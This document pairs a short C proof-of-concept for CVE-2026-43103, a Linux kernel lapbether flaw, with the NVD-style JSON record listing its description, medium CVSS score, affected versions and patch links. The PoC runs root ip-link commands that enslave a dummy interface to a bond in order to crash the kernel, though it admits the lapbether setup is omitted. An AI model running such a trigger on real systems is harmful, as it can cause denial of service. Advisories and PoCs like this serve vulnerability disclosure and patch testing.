CVE-2026-43103

/* * PoC for CVE-2026-43103 * Trigger: Attempt to change device type while lapbether is active. * Note: This requires the 'lapbether' module to be loaded and configured on the target interface. * gcc poc.c -o poc */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main() { printf("[+] CVE-2026-43103 PoC Start\n"); // 1. Setup dummy environment (Requires root) // In a real scenario, 'eth0' would be an interface managed by lapbether system("modprobe dummy"); system("ip link add dev dummy0 type dummy"); system("ip link set dummy0 up"); // 2. Assume lapbether is attached to dummy0 via configuration steps omitted here // (e.g., using lapbeth configuration tools) printf("[*] Assuming lapbether is attached to dummy0...\n"); // 3. Attempt to change device type via bonding // This triggers NETDEV_PRE_TYPE_CHANGE system("modprobe bonding"); system("ip link add bond0 type bond mode 0"); printf("[*] Triggering type change event by enslaving to bond...\n"); // If vulnerable, the kernel may crash or allow the change leading to panic on Tx int ret = system("ip link set dummy0 master bond0"); if (ret == 0) { printf("[+] Command executed. Check dmesg for instability or crash.\n"); } else { printf("[-] Failed to execute command.\n"); } // Cleanup system("ip link set dummy0 nomaster"); system("ip link del bond0"); system("ip link del dummy0"); return 0; }

{"cve": {"id": "CVE-2026-43103", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:23.867", "lastModified": "2026-05-11T17:33:50.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: lapbether: handle NETDEV_PRE_TYPE_CHANGE\n\nlapbeth_data_transmit() expects the underlying device type\nto be ARPHRD_ETHER.\n\nReturning NOTIFY_BAD from lapbeth_device_event() makes sure\nbonding driver can not break this expectation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.24", "versionEndExcluding": "6.6.136", "matchCriteriaId": "17EDA983-F673-4AC3-9681-5368A09E90AF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/328bb2cff5c2ed973f595ded769e15f4b7a117be", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/363a38044b8cd5b496d241651a1fb666e7c5fe3e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/63851f60781aa89258c8f0952cd13940aab0888e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b117056768ab7deb434e7d72065e48d2083a0c2a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b120e4432f9f56c7103133d6a11245e617695adb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}